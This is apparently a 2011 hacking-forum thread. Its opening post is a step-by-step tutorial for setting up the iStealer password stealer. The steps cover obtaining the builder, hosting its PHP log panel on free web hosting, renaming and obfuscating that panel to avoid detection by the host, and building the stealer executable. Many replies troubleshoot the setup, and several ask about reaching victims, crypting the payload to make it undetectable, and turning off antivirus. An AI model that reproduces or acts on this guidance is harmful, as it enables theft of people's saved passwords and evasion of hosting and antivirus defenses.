Thread: [\[BEST\] iStealer Tutorial till date - Setup + Hosting + Undetectable PHP \[TUT\]](#)

Joey Tribbiani - February 27, 2011, 2:00 am

Hey !

Today , i am going to teach users how to setup istealer 6.3 Legends , how to get a free hosting at SPAM and how to prevent getting banned at SPAM (by FUDing your php file from SPAM)

Also, thanks to CATMAN for the pics. I don't take credit for the pics (except for the last one).

Rest assured, the entire tutorial is written by me and took an hour to write and format. So please reply to keep this topic alive !!! ?

So, lets begin !

STEP 1 :- Download iStealer 6.3 Legends

Here is the download link :-

<http://goo.gl/Twhgo>

It WILL show a virus , but its just a false positive since this is a stealer software, so don't worry.

A virus scan if you still need it :-Spoiler [\(Click to View\)](#)

File Info

Report date: 2011-02-26 06:46:49 (GMT 1)

NoVirusThanks.org

STEP 2 :- Making a free account at SPAM.com

[img]http://img710.imageshack.us/img710/5086/49442116.jpg[/img]

[img]http://img231.imageshack.us/img231/1136/66303407.jpg[/img]

Now , the account is made. (Confirm it from your email)

Now, login to the account and go to the Control Panel (CPanel)

Scroll down to MySQL under "Software / Services".

[img]http://img816.imageshack.us/img816/209/loI4w.png[/img]

Follow this picture now :

[img]http://img831.imageshack.us/img831/3296/loI1u.png[/img]

Now, SAVE the info you receive about on the next page in notepad.

STEP 3 :- Setting up index.php file (Php Logger)
Extract iStealer 6.3 rar file and after that extract PHP Logger rar file.

You will see PHP Logger folder.Open it.Now you see two files.
index.php
style.css

Open index.php using notepad and follow this pic :

[img]http://img841.imageshack.us/img841/9519/nothingk.png[/img]

To remember :- The admin and admin which you entered in \$username and\$password line is the password to see your logs.

STEP 4 :- Making your index.php undetectable by hosts like SPAM

Open index.php and change the following lines

PHP Code

```
<?php
```

```
$html = "<html><head><title>iStealer 6.1 Legends Log manager - ";
```

to

PHP Code

```
<?php
```

```
$html = "<html><head><title>My Personal Software manager - ";
```

and

PHP Code

```
<?php
```

```
$footer = "<div id='footer'>iStealer 6.1 Legends - Kizar Labs 2009</div></div></body></html>";
```

to

PHP Code

```
<?php
```

```
$footer = "<div id='footer'>Backup manager - Backup Script 2010</div></div></body></html>";
```

Now download and install this software : TrueBug PHP Obfuscator & Encoder. (Google for download link, trial version is also ok.)

Open it and go to "Files and Folders" Spoiler ([Click to View](#)) Source Folder - select folder containing your PHP scripts, click on the browse button beside the folder name box.

Target Folder - select folder where the obfuscated and encoded files will save to, click on the browse button beside the folder name box.

Select files to be obfuscated/encoded, click on check-box front of filename (index.php) in the file list-box

Now to go "Obfuscate & Encode" Set the output options as "Obfuscate & Encode" and check EVERYTHING and click "Process" then press "Close" button and also close program.

You will find an obfuscated index.php in the output folder which you selected. Now remember this is the index.php which you have to upload to SPAM , not the original one.

STEP 5 :- Uploading Files (index.php and style.css on SPAM)

Go to your Control Panel in SPAM

Now, Go to File Manager. If it asks for password , see the "View FTP Details" which appears beside File Manager in Control Panel.

Now to go public_html. Then click on "New dir". Enter the directory name like hobby or work or passion or something like that.

Now go to the directory you just created and create further 2 sub-directories inside it as you did in

the previous step.

So it will be something like this public_html > hobby > test and work

Now go to any of the last 2 directories you just created and click on the "Upload button" select index.php and style.css and then click the Tick button to upload.

Go back to the root folder and tick the box beside public_html and then click on the "Chmod" button and follow this pic :

[img]http://lulzimg.com/i13/62f864.jpg[/img]

STEP 6 :- Building your iStealer

Run the iStealer 6.3 Legends.exe (as admin if you use vista/7)

Enter the link to your index.php file in the Url field.

For example :- <http://barney.site50.net/hobby/work/index.php>

Click on Test Url. If it shows success , then you have set up everything correctly and if it shows some error then there is something wrong you have done in the uploading part or the link was not proper.

Now click on Build.

To access your log , go to your web browser and enter the link to your index.php file.

CONGRATS ! Your server is now ready !! ? ?

Please leave a reply if you liked this tutorial to keep the topic alive. It will be highly encouraging for me.

Regards
Joey Tribbiani

FLMusician - February 27, 2011, 2:05 am

Pretty nice tutorial, only part I didn't like was how you explained the top information in the index.php such as the database username and such.

Thought the Obfuscate part was nice,
:D

SIM-459477 - February 27, 2011, 2:10 am

nice tutorial man... keep it up,but that will not be Ud

Joey Tribbiani - February 27, 2011, 2:11 am

I never said anything about UD. Its UD for your php file not for your server.

Joey Tribbiani - February 27, 2011, 3:37 am

I have given credits to CATMAN for images- all the words and procedures are written by me. There is no copy-paste man there man.

hav0c - February 28, 2011, 9:24 am

The istealer Builder scan results looks suspicious.
If anyone wants a clean version, they can get it from my signature.

Joey Tribbiani - February 28, 2011, 10:33 am

My version is very much clean. Don't try to advertise. Instead its the same link as CATMAN has used and is also used on many popular istealer tuts.

You are just blind blaming. Its a stealer ! It has to show a virus!

StuffSneak - March 1, 2011, 2:07 am

The encrypting part is good. That should help everyone.
nice tut mate :)

Joey Tribbiani - March 1, 2011, 8:56 am

^ Thanks dude ! :)

Btw , 300 views and only 7 replies ? :/

Haxwel - March 1, 2011, 9:14 am

Thanks mate. Nice tutorial. I hope this iStealer is clean :)

Joey Tribbiani - March 2, 2011, 2:30 am

Yes, it is clean. Don't worry :)

CyB3R PoliCe - March 2, 2011, 3:12 am

Well your Stealer Is not fud here is scan Results :

<http://vscan.novirusthanks.org/analysis/3e6dde21e8d59ecd96ebb077a5b4ae3d/aXN0ZWFsZXItNi0zLWxlZ2VuZHMtZXhl/>

Joey Tribbiani - March 2, 2011, 3:26 am

(Mar 2, 2011 04:12 AM)CyB3R PoliCe Wrote: [\[CITE\]](#) Well your Stealer Is not fud here is scan Results :

Please read the post. It will show a virus. Why would it be FUD ? Its a istealer.

Its the same link which CATMAN had posted. His tutorial had hundred pages of replies.

Breakbot - March 2, 2011, 3:31 am

Give credits for the encryption part for the guy who already made the tutorial here.

Joey Tribbiani - March 2, 2011, 3:34 am

(Mar 2, 2011 04:31 AM)Breakbot Wrote: [\[CITE\]](#) Give credits for the encryption part for the guy who already made the tutorial here.

I don't remember who it was or else i would have given credit for sure :)

I wrote 90% of the encryption steps myself and rest from google search.

hattorihanz0 - March 2, 2011, 2:39 pm

It is a very helpful tutorial thanks!

Red Army - March 3, 2011, 6:32 am

Brilliant tutorial thanks

jbond - March 4, 2011, 8:55 am

great tutorial and the guy is very helpful thanks alot

gf2827 - March 4, 2011, 10:16 am

looks great book marked this one for later read

Joey Tribbiani - March 6, 2011, 2:27 am

Your welcome guys !

Am glad you liked this tut :)

TreeHugger - March 6, 2011, 2:39 am

hey i have the istealer download and set up to my web host like you said and it;s all correct can you help me build it for some reason when i build it and upload it to megaupload and share my link with others nothing comes up in my log i think im building it wrong please help if you could help me with team viewer that'd be great as well thank you =]

De?ter - March 7, 2011, 2:54 am

Try it on yourself before, maybe ni sandboxie, just to see its working.

If you uploaded it, it doesnt mean others will download it.

Have you crypted it?

sid8012 - March 8, 2011, 9:20 am

This is one of the best tutorials on HF to date. The colors and formatting are a nice touch.

golyand - March 8, 2011, 10:21 am

Nice tutorial, working fine!

ATlangeland - March 9, 2011, 1:09 am

Great tutorial thanks for putting time into it!

Joey Tribbiani - March 11, 2011, 12:31 am

Thanks for showing the appreciation towards the hard work gone into creating this :)

Centrius - March 11, 2011, 12:46 am

Thanks mate! Good tutorial! Having some questions for you :-) !

Sweat Heart - March 11, 2011, 2:22 am

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'a4983738'@'10.50.0.50' (using password: NO) in /home/a4983738/public_html/homework/index.php(1) : eval()'d code on line 19

boehoehoeoe its not working

Joey Tribbiani - March 11, 2011, 2:30 am

It is working. You must have done something wrong. Not my fault. Lol :p

Sweat Heart - March 11, 2011, 4:01 am

Hah I know i'm not saying it is your fault. I probably failed :P Good TuT but I saw one almost exactly like it..?

Freddy Kru?ger - March 11, 2011, 7:48 am

A very nice tutorial man This will be helping me alot.

Joey Tribbiani - March 12, 2011, 1:15 pm

^ Your most welcome. Am glad this tutorial helped so many. Am planning to add the modded php to it soon.

thalx1234 - March 12, 2011, 1:38 pm

ive been waiting 4 days for that website to activate my account :/

Sideswipe - March 12, 2011, 1:40 pm

Thanks Bro Nice Tutorials I hope They will not ban us I will give a try.

matthew_carter2003 - March 13, 2011, 10:00 am

im new to this, could you explain what the obfuscate adds to the method? and wht are the best ways to get the virus to the victim after its built by istealer?

Thanks!

thalx1234 - March 13, 2011, 1:43 pm

its been a week and im still waiting for SPAM to activate my account, i was using 0fees but they have stoped the use of php

Joey Tribbiani - March 13, 2011, 1:44 pm

Dont use 0fees. Start a support ticket or contact them via email regarding this.

Beardy Man - March 13, 2011, 1:56 pm

nice tut dude, many thanks !

stealtre - March 13, 2011, 1:58 pm

the tutorial is great ! keep up the good work cuz this is some nice work :D

James_ - March 13, 2011, 2:00 pm

Thank you very much was an amazing help all set up great :P

stealtre - March 13, 2011, 2:13 pm

and btw it takes years to get the activation email ,,,

Grand - March 13, 2011, 2:21 pm

Thanks for this tutorial but SPAM sucks.

Joey Tribbiani - March 13, 2011, 2:24 pm

(Mar 13, 2011 02:21 PM)Grand Wrote: [\[CITE\]](#) Thanks for this tutorial but SPAM sucks. It doesnt suck for me. You are just not good at following the steps in the tut ?

stealtre - March 13, 2011, 3:26 pm

I only get logger not found, Check the url!

[Delta] - March 13, 2011, 3:36 pm

Nice tutorial but where i can find my url in my webhost ofcourse i have regester?

THE HEADMASTER

bebersshomen - March 13, 2011, 5:09 pm

nice i have q where i can get <http://barney.site50.net> = my ooo.webhost url ? inedd to know where i can find my url in my webhost ofcourse i have regester?

do_rrr_die - March 14, 2011, 6:49 am

Hey man,this is really good!Thanks for sharing this:))

Sn00z3 - March 14, 2011, 9:26 am

this is a great tut mann thanksss :)

PHARAOH47 - March 14, 2011, 4:07 pm

really good tutorial...ty

Jassi - March 14, 2011, 4:25 pm

this tutorial is very well explained! i will try it out later! :) thanks in advance, you did a great job :) thx mate for sharing and explaining so well!

Emily - March 15, 2011, 1:02 am

Nice tutorial! Keep up the great work. I'll try this out later. Just a bit busy now.

Joey Tribbiani - March 16, 2011, 6:54 am

Thanks for "thanks" guys ?

Am glad this tut helped many people on HF.

Vykintas - March 16, 2011, 7:11 am

Werry nice tutorial , but im new there there is some problems :P

lolalu0 - March 16, 2011, 7:16 am

very nice tut! I will try this soon

Breakbeat Junkie - March 17, 2011, 7:24 am

<http://xx.comze.com/hobby/work/index.php>

Getting this error: truebug_php52.so not load.

plaaggeest - March 20, 2011, 10:16 am

Very nice mate but the truebug obfuscate thingy doesnt open it shows an error sounds like a rat what did i do wrong

Very nice mate but the truebug obfuscate thingy doesnt open and i cant seem to find the chmod button your talking about

d e f a c e - March 20, 2011, 11:11 am

Thanks mate, this iStealer rocks...!

xp10 - March 20, 2011, 11:28 am

hi

nice tut

but i have a problem look

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'a1380577_11'@'10.50.0.63' (using password: YES) in /home/a1380577/public_html/index.php on line 47

what can i do?

p0wer - March 20, 2011, 11:31 am

thanks alot for this Istealer best one

John* - March 20, 2011, 11:37 am

Wow, awesome tutorial you got there.

Thank you Joey Tribbiani.

xp10 - March 20, 2011, 12:07 pm

thank you a gain-- what do i write here?

in the speaces..

```
$dbHost = "--"; // MySQL host
$dbUser = "--"; // MySQL username
$dbPass = "--"; // MySQL password
$dbDatabase = "--"; // MySQL database name
```

h\$123cryp - March 20, 2011, 12:28 pm

thanks man it really works with istealer but doesn't work for lucifer stealer can you help me in this case

netter - March 20, 2011, 12:36 pm

Thanks mate. Nice tutorial. It helped me alot :)

TheViper - March 20, 2011, 1:47 pm

very well explained tutorial, thank you so much:)

istealer so hope it works:)

xp10 - March 20, 2011, 1:54 pm

it does not work. what is wrong with it?

No logs found!

i opened the server by my self, but no logs sent to url

flyrock - March 20, 2011, 4:39 pm

man i need help :/

when i try to open istealer i have this error "you do not have an appropriate license to use this functionality "

i use 7 x64

TheViper - March 20, 2011, 7:59 pm

You do not have an appropriate license to use this functionality :(
some one help ?
have also administrator run and did not work so ?
:/

?Sean - March 20, 2011, 9:45 pm

Do you need to port forward for this?

stupefy - March 21, 2011, 5:09 am

Very nice tut mate! its solved all my questions in one :P thanks again!!

Maxwellz2 - March 21, 2011, 6:01 am

Awesome work! I like it lots =3 ... Now, if only it would get ALL information i need *grins*.

Max

mlvNN - March 21, 2011, 6:11 am

First in istealer it tell's me Logger not found.

Second when i want to go to index.php it tell's me:truebug_php52.so not load
Please help me :D

Joey Tribbiani - March 21, 2011, 6:20 am

I have tried it on windows xp and windows 7 32-bit[run as administrator] , works on both perfectly.

Also, no port-forwarding is required.

To all others, if you are getting error like logger not found or any other such error, you have done something wrong in setting it up [mostly the index.php part]

SIM-111414 - March 21, 2011, 6:47 am

when every time I create new account to the SPAM.com then it won't get verified and i got an account without cpanel. Which countries are supported by them. If you know then please post it. Proxy servers will definately work for that. Please tell me if they are restricting proxies so that I have to go with hacked Remote Desktop Connection.

AviadKatani - March 22, 2011, 11:36 am

I Open the exe file and he say: Title - iStealer
body:

You do not have an appopriate license to use this functionality
you know how to fix it?(i have the file "license.dat")

bigvenom - March 23, 2011, 7:49 am

thnx mate... i liked this one... was looking forward to it.. the tut is really good..

aceman1011 - March 28, 2011, 5:18 pm

Thank you very much for the tutorial. Is the obfuscating really necessary though? I host all my botnets and stealers in the standard PHP code without getting banned by the webhost...

spyking - April 5, 2011, 3:22 pm

don26

Dear Joey,

I followed every instruction till that last stage where I have to run the Istealer exe file.. sadly, It wont run as it say I do not have appropriate licence to use this functionality.. What can I do please?

(Feb 28, 2011 11:33 AM)Joey Tribbiani Wrote: [\[CITE\]](#) My version is very much clean. Don't try to advertise. Instead its the same link as CATMAN has used and is also used on many popular istealer tuts.

You are just blind blaming. Its a stealer ! It has to show a virus!

it has to show a virus but crypting it should make it FUD right?

(Mar 12, 2011 02:15 PM)Joey Tribbiani Wrote: [\[CITE\]](#) ^ Your most welcome. Am glad this tutorial helped so many. Am planning to add the modded php to it soon.

This is a great and well detailed tut.. I followed every instruction as you explained but wonder where I went wrong.. At first the Istealer 6.3 wouldnt run so I repeated all the process with version 6.0 .. Im still unlucky :((

(Mar 21, 2011 06:20 AM)Joey Tribbiani Wrote: [\[CITE\]](#) I have tried it on windows xp and windows 7 32-bit[run as administrator] , works on both perfectly.

Also, no port-forwarding is required.

To all others, if you are getting error like logger not found or any other such error, you have done something wrong in setting it up [mostly the index.php part]

I followed ur detailed instructions step by step and I'm very sure I did everything right.. but Im on windows vista 64 bit, could this be the problem? I could run the Istealer exe for version 6.0 unlike the version 6.3 but it also said logger not found :(

i get an error if i make the istealer

sum .dll file is missing?

spyking - April 5, 2011, 5:22 pm

is anyone able to set this stuff up sucessfully?

elpais - April 5, 2011, 5:35 pm

Good stuff here. I've had a few issues but I'm going to keep trying.

DTTM-Symbianize - April 5, 2011, 6:40 pm

Thanks man! nice tutorial very creative way to hide it

Th4X - April 6, 2011, 9:37 am

i get a error (there's a file missing mozsqlite3.dll)

if i press my file.. i maked with istealer

SancheZ - April 6, 2011, 9:55 am

Nice Tutorial buddy....nice one at that, if you dont like his own iStealer go look for one anywhere u know it will be good for u

He did well postin that and sacrificing his time..

So be thankful.

@hav0c, didnt see your link on your signature.

- MyNameIsWhat - - April 6, 2011, 3:01 pm

Great tutorial! It really helped!

Peelsaven - April 6, 2011, 4:24 pm

wow great tutortial and well written nice job man

Sefior - April 6, 2011, 7:32 pm

It says that Logger was not found when I press Test url. But I did everything correctly.. What should I do? :o

Th4X - April 7, 2011, 3:22 am

(Apr 6, 2011 09:37 AM)Th4X Wrote: [\[CITE\]](#) i get a error (there's a file missing mozsqlite3.dll)

if i press my file.. i maked with istealer
anyone got this error 2 ¿

sigh*, no help.

CATMAN - April 7, 2011, 5:39 am

Thank you for giving me credits.

vaibhuvcool@gmail.com - April 7, 2011, 5:52 am

Nice TUT DUDE.. Keep Posting.. :) :D

xAsylum - April 8, 2011, 10:33 am

Bump. Since the TS isn't willing to help, I'd really appreciate it if someone else would. Shoot me a PM please.

nooobber - April 13, 2011, 4:57 am

please slove this issue when i open istealer :::you don't have an appropriate license to use this functionality

Gh0stM0de - April 13, 2011, 5:51 am

This is really a nice tutorial. Keep it up bro....

thehardway - April 20, 2011, 5:45 pm

good job, nice tut..helped me alot

lou142 - April 24, 2011, 12:44 pm

noober same problem for me, and we are maybe infected ...

Thanks for the tut except for the Istealer i hope its not infected.

I think its backdored ...

avast (i know its a bad av) tell me that when i launch istealer i have a notficator on explorer.exe

I guess i have been infected (server injected in explorer.exe)

taokrk - April 25, 2011, 1:23 pm

this is so great tutorial,nice mate! regards (:

tmark0099 - April 26, 2011, 3:49 am

what to write in \$dbDatabase?

and how to see hacked password??

thanx for the post

Viraavy - April 26, 2011, 6:28 am

I got always this error on 000webhosting..why?

Error

System administrator will review your details and activate your account in 24 hours.

However, if you need web hosting account right now, you can signup with our partner www.0fees.net and get instant activation!

I have created 3 account, none of them activate by administrator.

?

Xeder - April 26, 2011, 6:35 am

?Same here;/ And when I do acc on cwahi net it got deleted within 2 days;(

QuantumX - April 26, 2011, 1:34 pm

Wow nice tutorial, I really like it..

Keep writing :)

thehardway - April 26, 2011, 1:45 pm

is it true that istealer only captures saved passwords?

Xeder - April 26, 2011, 1:48 pm

(Apr 26, 2011 01:45 PM)thehardway Wrote: [\[CITE\]](#) is it true that istealer only captures saved passwords?Yup, only saved passwords, and then it deletes itself;p

thehardway - April 26, 2011, 2:04 pm

(Apr 26, 2011 01:48 PM)Xeder Wrote: [\[CITE\]](#) Yup, only saved passwords, and then it deletes itself;p
oh lol, well thats pretty useless

Huckzy - April 26, 2011, 4:18 pm

(Feb 27, 2011 03:00 AM)Joey Tribbiani Wrote: [\[CITE\]](#) [*]Now , the account is made. (Confirm it from your email)

[*]Now, login to the account and go to the Control Panel (CPanel)

[*]Scroll down to MySQL under "Software / Services".

[/list][b][color]

[img]http://img816.imageshack.us/img816/209/lol4w.png[/img]

Follow this picture now :

[img]http://img831.imageshack.us/img831/3296/lol1u.png[/img]

Now, SAVE the info you receive about on the next page in notepad.

STEP 3 :- Setting up index.php file (Php Logger)

Extract iStealer 6.3 rar file and after that extract PHP Logger rar file.

You will see PHP Logger folder.Open it.Now you see two files.

index.php

style.css

Open index.php using notepad and follow this pic :

[img]http://img841.imageshack.us/img841/9519/nothingk.png[/img]

To remember :- The admin and admin which you entered in \$username and\$password line is the password to see your logs.

STEP 4 :- Making your index.php undetectable by hosts like SPAM

Open index.php and change the following lines

PHP Code

```
<?php
```

```
$html = "<html><head><title>iStealer 6.1 Legends Log manager - ";
```

to

PHP Code

```
<?php
```

```
$html = "<html><head><title>My Personal Software manager - ";
```

and

PHP Code

```
<?php
```

```
$footer = "<div id='footer'>iStealer 6.1 Legends - Kizar Labs 2009</div></div></body></html>";
```

to

PHP Code

```
<?php
```

```
$footer = "<div id='footer'>Backup manager - Backup Script 2010</div></div></body></html>";
```

Now download and install this software : TrueBug PHP Obfuscator & Encoder. (Google for download link, trial version is also ok.)

Open it and go to "Files and Folders" Spoiler [\(Click to View\)](#) Source Folder - select folder containing your PHP scripts, click on the browse button beside the folder name box.

Target Folder - select folder where the obfuscated and encoded files will save to, click on the browse button beside the folder name box.

Select files to be obfuscated/encoded, click on check-box front of filename (index.php) in the file list-box

Now to go "Obfuscate & Encode" Set the output options as "Obfuscate & Encode" and check EVERYTHING and click "Process" then press "Close" button and also close program.

You will find an obfuscated index.php in the output folder which you selected. Now remember this is the index.php which you have to upload to SPAM , not the original one.

STEP 5 :- Uploading Files (index.php and style.css on SPAM)

Go to your Control Panel in SPAM

Now, Go to File Manager. If it asks for password , see the "View FTP Details" which appears beside File Manager in Control Panel.

Now to go public_html. Then click on "New dir". Enter the directory name like hobby or work or passion or something like that.

Now go to the directory you just created and create further 2 sub-directories inside it as you did in the previous step.

So it will be something like this public_html > hobby > test and work

Now go to any of the last 2 directories you just created and click on the "Upload button" select index.php and style.css and then click the Tick button to upload.

Go back to the root folder and tick the box beside public_html and then click on the "Chmod" button and follow this pic :

[img]http://lulzimg.com/i13/62f864.jpg[/img]

STEP 6 :- Building your iStealer

Run the iStealer 6.3 Legends.exe (as admin if you use vista/7)

Enter the link to your index.php file in the Url field.

For example :- <http://barney.site50.net/hobby/work/index.php>

Click on Test Url. If it shows success , then you have set up everything correctly and if it shows some error then there is something wrong you have done in the uploading part or the link was not proper.

Now click on Build.

To access your log , go to your web browser and enter the link to your index.php file.

CONGRATS ! Your server is now ready !! ? ?

Please leave a reply if you liked this tutorial to keep the topic alive. It will be highly encouraging for me.

Regards

don26

I got to here and I can't go any further.. There are no first two pics from this post on the SPAM anymore.. they've changed it.. I cannot create MySQL Username and password.. Please help... : /

Afisingthesorrow - April 26, 2011, 5:32 pm

Sweet tutorial. I'm going to try this for sure.

?? K ? ? ? L ? D G ? ?? - April 26, 2011, 6:25 pm

One of the best Tutorial I have seen on hf
thanks mate (:

Huckzy - April 28, 2011, 2:38 pm

I've solved my problem... Tnx anyways for NOT helping x)

(Feb 27, 2011 04:37 AM)Joey Tribbiani Wrote: [\[CITE\]](#) I have given credits to CATMAN for images- all the words and procedures are written by me. There is no copy-paste man there man.

Aye man i dont have access to a computer atm, & im wondering if you could make me a istealer?

KennMasters - April 30, 2011, 2:00 am

this is the best iStealer setup tutorial for me :)
especially in editing index.php and make it undetectable in webhost. :D

bazook2301 - April 30, 2011, 3:00 am

good tuto, thank you man :D

Flowz - April 30, 2011, 3:07 am

Thanks a lot! I inally found a dowload link for this :3

wreckless2060 - April 30, 2011, 12:13 pm

It gives me the mozsqlite3.dll error to, I downloaded the dll file and it still wont work, Im running Xp Sp3 and ive tried everything, The only thing i can think of is an error with the OS, Someone earlier said they had the same problem so maybe no Xp compatibility?

noober1001 - April 30, 2011, 10:04 pm

Thanks bro.
And the encrypting part is good.

Al-fatah - May 1, 2011, 12:57 am

How can i build FUD server file?

Modder - May 1, 2011, 2:04 am

can anyone help me set this up pm me please

loul42 - May 1, 2011, 3:05 am

STEP 4 :- Making your index.php undetectable by hosts like SPAM

is this a joke ? 3 day after my website was <http://www.SPAM.com/admin-review>

qaku - May 1, 2011, 6:24 am

Thanks for the tutorial man, nice job!!

jojothethreat - May 1, 2011, 9:46 am

Thanks a lot man!! best tut for iStealer!!! I'm gonna try to make my server FUD ^^

jessman420 - May 3, 2011, 6:13 am

This is a very helpful tutorial, great work

raamee - May 3, 2011, 8:51 am

(Apr 30, 2011 12:13 PM)wreckless2060 Wrote: [\[CITE\]](#) It gives me the mozsqlite3.dll error to, I downloaded the dll file and it still wont work, Im running Xp Sp3 and ive tried everything, The only thing i can think of is an error with the OS, Someone earlier said they had the same problem so maybe no Xp compatibility?

Istealer 6.3 is outdated. mozsqlite3.dll error becuae mozilla updated browser version 4.0.1.

Moral: try another stealer.. Astealer is good I think..

crazysmoker - May 12, 2011, 6:01 am

I have an error with the SkinCrafter3_vs2005.dll file can you help me??
and if i start the exe there is a warning with license or something whats that??
mfg. crazy

clitcommander2222 - May 12, 2011, 4:27 pm

Alright First Timer Here....

I went to test Url and i got Logger Found But you need to login First

So i copy and paste the url and get to the login and put in
username: mysqlatabase_username
Password: password

and it will not login.

Anybody know what i did wrong. on the index.php i
where it said to put username i put in
a143433838_username
is that correct?

nyamd2 - May 16, 2011, 12:04 pm

Well I When i downloaded and extracted AVG Said that the exe file was a virus

DarkClouds - May 17, 2011, 4:16 am

@nyamd2 disable ur AVG !!
@clitcommander open index.php with an text editor and find "\$username" and "\$password" u'll see
ur admin usermane a pass

Gannicus - May 21, 2011, 12:56 pm

I get this error:

Parse error: syntax error, unexpected T_VARIABLE in /home/a1087893/public_html/Gate.php on
line 4

When I try to login

Anju - May 21, 2011, 2:01 pm

Thanks this worked perfectly :) but question.
i have to turn off my norton firewall before i can test it out.
Does that mean it'll happen to other people aswell? or do i have to crypt it first.

kiotyGed - May 24, 2011, 12:16 pm

How do this steal people's passwords? Im confused

Pride_ - May 24, 2011, 12:59 pm

Thanks very much. works perfectly :)

Also just wondering, i was doing some tests on my self but istealer 6.3 cant seem to get google chrome passwords. Any ideas?

(Jun 29, 2011 03:08 AM)Ahnaf Tajoar Wrote: [\[CITE\]](#) Bro I use 7 and also tried by run as administrator but it shows i dont have the proper license to use the soft
Are you running it directly from winrar? Try extracting first...
If this doesn't work, I see no reason how you could be getting that error. It has worked for everyone so far. ?

Water Antilope - June 29, 2011, 4:06 am

great tut Joey very detailed

jka_dark28 - June 30, 2011, 12:24 pm

Kaspersky Internet Security 2011 say:

V I R U S!

┐┐

PURE_Rare - June 30, 2011, 1:14 pm

For all of those who are having license issues simply run in sandboxie mode and all of your problems will be fixed :).

rikkyyy - June 30, 2011, 2:33 pm

Thanks it worked but it got detected by someones anti virus so not FUD..

exlan - July 1, 2011, 4:49 am

(Jun 29, 2011 03:13 AM)Joey Tribbiani Wrote: [\[CITE\]](#) Are you running it directly from winrar? Try extracting first...

If this doesn't work, I see no reason how you could be getting that error. It has worked for everyone so far. ?I got the same error. File is extracted and I run it as admin.

Dxstroyer - July 2, 2011, 12:28 pm

Just a quick question..

What is the iStealer's Function?

Thanks in advance (:

Joey Tribbiani - July 2, 2011, 12:29 pm

(Jul 2, 2011 12:28 PM)Dxstroyer Wrote: [\[CITE\]](#) Just a quick question..

What is the iStealer's Function?

Thanks in advance (:

To capture the saved passwords on a PC. It captures the most common ones at least. ?

Dxstroyer - July 2, 2011, 12:32 pm

Ohh, i get it now

Thanks anyway though (:

tlatmdeh0904 - July 3, 2011, 8:58 pm

When i build i get this "runtime error 6 overflow "

--

ju7i3n - July 3, 2011, 10:09 pm

don't work for me all the time banned

asifali2000 - July 4, 2011, 2:15 am

great tut thanks to share

Omur - July 5, 2011, 9:36 am

My AV keeps blocking it. >.> Assuming that I have to turn it off to be able to do this? Would I have to turn off my AV whenever I want to run this program?

noober1001 - July 5, 2011, 9:41 am

Great tutorial man.

Thank you so much for this.

velcocity - July 5, 2011, 10:20 am

Nice Tutorial :) The best tutorials i have ever seen!!!

Super_Mario - July 5, 2011, 10:40 am

Thanks man, you saved my day :)

Black Shadow - July 7, 2011, 12:08 pm

Nice tutorial I will try it out thanks.

theme - July 8, 2011, 3:41 am

thanks for the tutorial man apprichiatted

unix2 - July 9, 2011, 8:10 am

awesome, work nicely i would be lost without

m0nk1 - July 9, 2011, 2:26 pm

logger not found, check the url

hmm, the logger is there...everything done like said in the tut...

frustrating fact: it worked in the beginning for about 10 minutes, first exe did work perfect, than i tried to create another exe-file, and since than it cant find the logger ?

edit: i didnt gave up...tried 2 other hosters, same error when testing url, but building the exe works

asifali2000 - July 10, 2011, 11:13 am

every thing is right but when i try to open istealer

after setting it,,

its give following error

"you donot have an appropriate liscence to use it functionally ,,,

whats a wrong?

kenshinkilla - July 11, 2011, 1:03 am

<http://lolubad.com/images/12021717.jpg>

Im getting this when im trying to execute this on slaves, whats wrong? :)

m0nk1 - July 11, 2011, 1:46 am

you need to run it as admin when youre on vista/windows 7, thats why you get that message

asifali2000 - July 11, 2011, 2:49 am

(Jul 11, 2011 01:46 AM)Tornida Wrote: [\[CITE\]](#) you need to run it as admin when youre on vista/windows 7, thats why you get that messagel run istealer as adminnistrator but i receive that error again?

Someone is totally butthurt about their rep. ?

If you can't make a better one or link me to a better one, then keep your nonsense bullshit to yourself. ?

Computer Science - July 23, 2011, 6:27 am

what rep are you taking about? ???

You are a total skid, making a istealer tutorial, how about my SQLi tut ?->

<https://hackforums.net/showthread.php?tid=1496648>

I can see you failed kid.?

EDIT : lol you were talking abt my rep page? where you made a comment in red color? lol You are really a kid, confirmed. ?

Joey Tribbiani - July 23, 2011, 6:32 am

This is an iStealer tutorial, not a SQLi tutorial for the newbies who need it. Move on.

Computer Science - July 23, 2011, 6:38 am

(Jul 23, 2011 06:32 AM)Joey Tribbiani Wrote: [\[CITE\]](#) This is an iStealer tutorial, not a SQLi tutorial for the newbies who need it. Move on.

Ahh, ok I don't care either -.-

Yeah I am Moving on.

Spoiler ([Click to View](#))

Fast Track watch ads these days. -.- Move on. lol

By the way this is not a bad tutorial at all, yeah I know I was raged, but the comment I made was purely straight, but when you said the rep thing, lol i looked and you mentioned there "Nonsense". lol But that is ok. ?

Joey Tribbiani - July 23, 2011, 6:42 am

Rep deleted. Not because you e-raged or anything. I just remove the negs after a certain time. I don't hold many grudges.

Thanks for your feedback.

P.S. You said it fails really hard and is BS, which it doesn't and you accepted it yourself now. ?

Computer Science - July 23, 2011, 6:46 am

Yeah because of other matter. I saw you stopping Indians, and encouraging Liquid sky to hack, which I didn't like, because they are just pwning our website, but when we Indians post something back, i dunno why but 100 ubers come into the thread and spoil the THREAD saying "It's Cyberwar", while it's not, because they started it first. ?

EDIT : Cannot find a staff to delete off that post. :(
I will delete it, don't worry, let the staff come online.

Joey Tribbiani - July 23, 2011, 6:48 am

Okay. Thanks anyways.

I would encourage if we keep this topic on-topic (about iStealer) and clean.

Computer Science - July 23, 2011, 6:57 am

Yeah I am finding a staff to delete that post. will make sure it gets deleted, because even myself do not find pleasure in trashing my own thread. ?

vn7labs - July 24, 2011, 1:48 am

Thanks mate. Nice tutorial. I hope this iStealer is clean

heart_hacker - July 24, 2011, 3:30 am

a good tut dude..but can u give me another link for istealer?? i am not able to download from filesonic.. :(

Prince™ - July 24, 2011, 5:39 am

The tutorial is great but the fact is that ooowebhost makes me sick by always telling that my account will be reviewed in 24 hours.:|

Rokakku - July 24, 2011, 8:18 am

Works great, thanks for being patient and answering my PM's.

AneXA - July 24, 2011, 9:13 am

thanks for this , i find it very useful and helped me alot.

sonurehal - July 24, 2011, 10:11 am

Thanks all for discussion

crazyfrog - July 24, 2011, 10:25 am

6.3 does not work with firefox 5 :(

epiceddy - July 24, 2011, 11:17 am

Thanks mate. This helped me out. But sometimes iStealer isnt uploading the passwords tot the database, even if there are passwords stored on the computer. Do you know how to fix this?

Joey Tribbiani - July 24, 2011, 11:23 am

